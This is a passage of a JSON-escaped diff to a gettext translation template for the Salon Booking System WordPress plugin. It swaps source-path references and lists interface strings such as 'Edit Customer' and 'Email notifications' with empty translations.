build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:288\n-msgid \"Enable service break\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:15\n+msgid \"Edit Customer\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:310, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:310, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:310\n-msgid \"Break length\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:240\n+msgid \"Edit Discount\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:322, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:322, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:322\n-msgctxt \"part of:The time minimum breke is 30' with increase of 30' each\"\n-msgid \"The time minimum breke is\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101\n+msgid \"Edit reservation\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:324, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:324, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:324, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:324, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:324, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:324\n-msgctxt \"part of: The time minimum breke is 30' with increase of 30' each\"\n-msgid \"with increase of\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:214\n+msgid \"Edit Resource\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:325\n-msgctxt \"part of: The time minimum breke is 30' with increase of 30' each\"\n-msgid \"each\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:258\n+msgid \"Edit Service\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:331, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:331, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:331, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:331, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:331, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:331\n-msgid \"Break position\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:44\n+msgid \"Edit Service Category\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:368, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:368, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:368\n-msgid \"Drug the slider to set the break position\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50\n+msgid \"Edit the reservation\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:410, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:410, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:410\n-msgid \"Direct link\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:835\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:851\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:835\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:851\n+msgid \"edit this field\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:589\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:589\n+#, php-format\n+msgid \"Edited by %s (%s ago)\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by link salon-settings required_pages\n-#: views\u002Fmetabox\u002Fservice.php:420, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:420, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:420\n-msgid \"Please set the Booking page \u003Ca href=\\\"%s\\\" target=\\\"_blank\\\">Settings > General > Salon Booking System required pages\u003C\u002Fa>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:499\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:499\n+msgid \"Eligible bookings:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:137\n+msgid \"Email\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:416, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:416, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:416, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:416, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:416, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:416\n-msgid \"Use this link to move the user directly to the booking page with the service already selected.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55\n+msgid \"email\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:447, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:447, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:447\n-msgid \"Variable price\"\n+#. %s will be replaced by the datetime\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:435\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:435\n+#, php-format\n+msgid \"Email correctly sent on %s\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:453, views\u002Fsettings\u002Ftab_payments_pro.php:339, src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:453, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:453, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:68\n-msgid \"Active\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:455\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:455\n+msgid \"Email failed\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fservice.php:483, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:483, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:483\n-msgid \"No assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:11\n+msgid \"Email notification services\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:3, views\u002Fsettings\u002F_availability_row.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:3\n-msgid \"This rule represents your open and close days, your open and close shift. Set carefully as it will affect your reservation system.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:46\n+msgid \"Email notifications\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:48\n+msgid \"Email notifications on new reservation, reminders, follow-up.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:310\n+msgid \"Email notifications service\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:22, views\u002Fsettings\u002F_availability_row.php:19, views\u002Fsettings\u002F_holiday_row.php:231, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:231, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:231\n-msgid \"Rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103\n+msgid \"Email sent\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:25, views\u002Fsettings\u002F_availability_row.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:23\n-msgid \"Available days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:291\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:340\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:291\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:340\n+msgid \"Email Subject\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:26, views\u002Fsettings\u002F_availability_row.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26, 